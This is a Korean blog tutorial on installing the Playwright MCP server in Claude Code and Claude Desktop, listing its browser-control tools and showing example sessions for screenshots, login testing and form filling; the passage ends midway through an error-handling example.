&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;사전 요구사항&lt;/b&gt;&lt;br /&gt;Node.js 18 이상, npm이 필요하다. Claude Code 또는 Claude Desktop이 설치되어 있어야 한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에도 사실 얘기했지만, 요즘 mcp는 자연어로 매우 쉽게 설치 가능하다. 다만 설치 방법 과정도 직접 해보는것도 좋다고 생각한다. 그렇기 떄문에 직접 설치하는 방법들도 남겨 두고, 자연어로 설치하는 방법도 남겨 두려고 한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) Playwright mcp 설치 해줘. 한마디 이후 직접 세팅이 필요한 부분은 안내를 해주거나, 몇가지는 입력 또는 선택을 요청해가며 설치할 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba4bOy/dJMcabXEiFq/seaIWWWtBmomMqJtPHF30K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba4bOy/dJMcabXEiFq/seaIWWWtBmomMqJtPHF30K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba4bOy/dJMcabXEiFq/seaIWWWtBmomMqJtPHF30K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba4bOy%2FdJMcabXEiFq%2FseaIWWWtBmomMqJtPHF30K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;428&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 1: Claude Code 대화형 설치 (권장)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;터미널에서 아래 명령어를 실행한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Microsoft 공식 패키지 설치&lt;/div&gt;
&lt;pre class=&quot;nginx&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add playwright npx '@playwright/mcp@latest'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또는 Claude Code 내에서 &lt;code&gt;/mcp&lt;/code&gt; 슬래시 명령어를 입력해 대화형으로 추가할 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;헤드리스(headless) 모드로 설치하려면:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# headless 모드 (브라우저 창이 화면에 표시되지 않음)&lt;/div&gt;
&lt;pre class=&quot;nginx&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add playwright npx '@playwright/mcp@latest' --headless&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: claude mcp add playwright 명령어 실행 후 성공 메시지가 출력된 터미널 화면 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 2: Claude Code settings.json 직접 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 설정 파일(&lt;code&gt;~/.claude/settings.json&lt;/code&gt; 또는 프로젝트의 &lt;code&gt;.claude/settings.json&lt;/code&gt;)에 직접 추가한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// ~/.claude/settings.json&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@playwright/mcp@latest&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;headed 모드(브라우저 창이 보이는 모드)로 실행하고 싶다면 &lt;code&gt;--headed&lt;/code&gt; 플래그를 추가한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@playwright/mcp@latest&quot;, &quot;--headed&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;방법 3: Claude Desktop 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Desktop 설정 파일을 직접 수정한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;macOS:&lt;/b&gt; &lt;code&gt;~/Library/Application Support/Claude/claude_desktop_config.json&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Windows:&lt;/b&gt; &lt;code&gt;%APPDATA%\Claude\claude_desktop_config.json&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// claude_desktop_config.json&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@playwright/mcp@latest&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설정 후 Claude Desktop을 완전히 종료하고 재시작하면 MCP가 연결된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Headless vs Headed 모드&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Headless&lt;/b&gt;: 브라우저가 백그라운드에서 실행된다. 화면에 창이 뜨지 않으므로 CI/CD 환경이나 서버에서 사용하기 적합하다.&lt;br /&gt;&lt;b&gt;Headed&lt;/b&gt;: 실제 브라우저 창이 화면에 표시된다. 디버깅하거나 무슨 일이 일어나는지 직접 확인하고 싶을 때 유용하다. 기본값은 headed 모드다.&lt;/div&gt;
&lt;!-- 3. 주요 Tools --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 Tools 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP는 15개 이상의 Tool을 제공한다. 실무에서 80% 이상의 작업은 아래 핵심 Tool들로 처리된다. (출처: &lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-mcp&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실무에서 가장 많이 쓰는 Tool TOP 3&lt;/b&gt;&lt;br /&gt;
&lt;ol style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;browser_navigate&lt;/code&gt; &amp;mdash; 모든 자동화의 시작점. URL로 이동하는 가장 기본적인 Tool이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;browser_snapshot&lt;/code&gt; &amp;mdash; 접근성 트리 스냅샷으로 현재 페이지 구조를 파악한다. Snapshot 모드의 핵심이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;code&gt;browser_click&lt;/code&gt; / &lt;code&gt;browser_type&lt;/code&gt; &amp;mdash; 요소 클릭과 텍스트 입력. 대부분의 상호작용 시나리오에 필수다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;네비게이션 및 탭 관리&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_navigate&lt;/code&gt; &amp;mdash; URL로 이동한다. 가장 기본이 되는 Tool이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_navigate_back&lt;/code&gt; &amp;mdash; 브라우저 뒤로 가기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_navigate_forward&lt;/code&gt; &amp;mdash; 브라우저 앞으로 가기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_tab_new&lt;/code&gt; &amp;mdash; 새 탭 열기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_tab_close&lt;/code&gt; &amp;mdash; 현재 탭 닫기&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상호작용 Tools&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_click&lt;/code&gt; &amp;mdash; 접근성 스냅샷의 요소 참조를 이용해 클릭한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_type&lt;/code&gt; &amp;mdash; 텍스트 입력. 입력창에 텍스트를 입력한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_press_key&lt;/code&gt; &amp;mdash; 키보드 키 누르기 (Enter, Tab, Escape 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_select_option&lt;/code&gt; &amp;mdash; 드롭다운 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_hover&lt;/code&gt; &amp;mdash; 마우스 호버&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_handle_dialog&lt;/code&gt; &amp;mdash; alert, confirm, prompt 같은 다이얼로그 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;캡처 및 상태 확인&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_snapshot&lt;/code&gt; &amp;mdash; 현재 페이지의 접근성 트리 스냅샷을 가져온다. Snapshot 모드의 핵심 Tool이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_take_screenshot&lt;/code&gt; &amp;mdash; 스크린샷을 찍는다. Vision 모드에서 주로 사용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_wait_for&lt;/code&gt; &amp;mdash; 특정 텍스트나 요소가 나타날 때까지 대기한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_pdf_save&lt;/code&gt; &amp;mdash; 현재 페이지를 PDF로 저장한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_evaluate&lt;/code&gt; &amp;mdash; 브라우저에서 JavaScript를 직접 실행한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;code style=&quot;background-color: #e8e8e8; padding: 2px 6px; border-radius: 4px;&quot;&gt;browser_close&lt;/code&gt; &amp;mdash; 브라우저를 닫고 리소스를 정리한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 4. 실전 활용 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 활용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치가 끝났다면 바로 써볼 차례다. Claude Code 터미널에서 자연어로 요청하기만 하면 된다. 아래 예시들은 실제 개발 워크플로우에서 자주 발생하는 시나리오를 기준으로 구성했다.&lt;/p&gt;
&lt;!-- SCREENSHOT: Claude Code 터미널에서 Playwright MCP가 연결된 상태 (/mcp 명령어로 playwright 항목이 connected로 표시된 화면) --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 1: 웹사이트 스크린샷 캡처 및 분석&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 기본적인 사용법이다. 특정 웹사이트에 접속해서 현재 상태를 확인하고 싶을 때 사용한다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; https://github.com/microsoft/playwright-mcp 에 접속해서 페이지 스크린샷을 찍고 README의 주요 내용을 요약해줘&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 browser_navigate Tool을 호출하는 장면 (Tool 호출 승인 프롬프트가 보이는 화면) --&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;browser_navigate로 페이지에 접속한 뒤, browser_snapshot으로 접근성 트리를 분석했습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;README 요약:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Playwright MCP는 LLM이 Playwright를 통해 웹 브라우저를 제어할 수 있게 하는 서버입니다&lt;/li&gt;
&lt;li&gt;Snapshot 모드(기본)와 Vision 모드 두 가지를 지원합니다&lt;/li&gt;
&lt;li&gt;15개 이상의 Tool을 제공하며 navigate, click, type 등이 핵심입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;스크린샷을 &lt;code&gt;screenshot.png&lt;/code&gt;로 저장했습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;내부적으로 Claude는 다음과 같은 순서로 Tool을 호출한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# Claude가 내부적으로 실행하는 Tool 호출 흐름&lt;/div&gt;
&lt;pre class=&quot;css&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;1. browser_navigate({ url: &quot;https://github.com/microsoft/playwright-mcp&quot; })
2. browser_snapshot()  &amp;rarr; 접근성 트리로 페이지 구조 파악
3. browser_take_screenshot()  &amp;rarr; 스크린샷 캡처
4. 결과를 분석해서 요약 응답&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 2: 로그인 플로우 자동화 테스트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 개발 서버의 로그인 플로우가 제대로 동작하는지 빠르게 확인하고 싶을 때. E2E 테스트 코드를 작성하기 전에 탐색적으로 먼저 검증하는 용도로 유용하다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; http://localhost:3000/login 에 접속해서 이메일 입력칸에 test@example.com을 입력하고 비밀번호 칸에 password123을 입력한 뒤 로그인 버튼을 클릭해줘. 그리고 로그인 성공 여부를 확인해줘.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;로그인 플로우를 단계별로 실행했습니다:&lt;/p&gt;
&lt;ol style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;browser_navigate&lt;/code&gt; &amp;rarr; http://localhost:3000/login 접속 완료&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_snapshot&lt;/code&gt; &amp;rarr; 페이지 구조 분석: 이메일 입력칸(ref=e3), 비밀번호 입력칸(ref=e5), 로그인 버튼(ref=e7) 확인&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_type&lt;/code&gt;(ref=e3, &quot;test@example.com&quot;) &amp;rarr; 이메일 입력 완료&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_type&lt;/code&gt;(ref=e5, &quot;password123&quot;) &amp;rarr; 비밀번호 입력 완료&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_click&lt;/code&gt;(ref=e7) &amp;rarr; 로그인 버튼 클릭&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_snapshot&lt;/code&gt; &amp;rarr; 페이지가 /dashboard로 리다이렉트됨. &quot;환영합니다&quot; 텍스트 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과: 로그인 성공.&lt;/b&gt; /dashboard 페이지로 정상 이동하였고 &quot;환영합니다, test@example.com&quot; 메시지가 표시됩니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 로그인 플로우를 단계별로 실행하며 각 Tool 호출 결과를 보여주는 터미널 화면 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;ref= 값이 뭔가요?&lt;/b&gt;&lt;br /&gt;&lt;code&gt;browser_snapshot&lt;/code&gt;이 반환하는 접근성 트리에는 각 요소에 &lt;code&gt;ref&lt;/code&gt; 값이 부여된다. Claude는 이 ref 값으로 어떤 버튼을 클릭할지, 어떤 입력칸에 타이핑할지 식별한다. 개발자가 CSS 셀렉터를 직접 지정할 필요가 없다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 3: 폼 작성 자동화 및 PDF 저장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;반복적인 폼 입력과 결과 저장 작업을 자동화할 수 있다. 관리자 페이지에서 매번 같은 양식을 채워야 하는 경우에 유용하다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; https://example-form.com 에 접속해서 이름: 홍길동, 이메일: hong@example.com 으로 폼을 작성하고 제출 버튼을 클릭한 뒤, 완료 페이지를 PDF로 저장해줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;페이지 접속 후 폼 구조 파악 완료 (이름, 이메일, 전화번호, 제출 버튼)&lt;/li&gt;
&lt;li&gt;이름 칸에 &quot;홍길동&quot;, 이메일 칸에 &quot;hong@example.com&quot; 입력 완료&lt;/li&gt;
&lt;li&gt;제출 버튼 클릭 &amp;rarr; &quot;제출이 완료되었습니다&quot; 페이지로 이동&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browser_pdf_save&lt;/code&gt;로 완료 페이지를 PDF로 저장했습니다 &amp;rarr; &lt;code&gt;form-result.pdf&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 4: 에러 상황 &amp;mdash; 요소를 찾지 못할 때&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 자동화를 하다 보면 Claude가 요소를 찾지 못하거나 동적 콘텐츠 때문에 실패하는 경우가 있다. 이때 Claude가 어떻게 대처하는지 보자.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; http://localhost:3000/dashboard 에 접속해서 &quot;보고서 생성&quot; 버튼을 클릭해줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #fff0f0; border-left: 4px solid #dc3545; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;페이지에 접속하여 &lt;code&gt;browser_snapshot&lt;/code&gt;으로 구조를 분석했으나, &quot;보고서 생성&quot; 버튼을 찾을 수 없습니다.&lt;/p&gt;
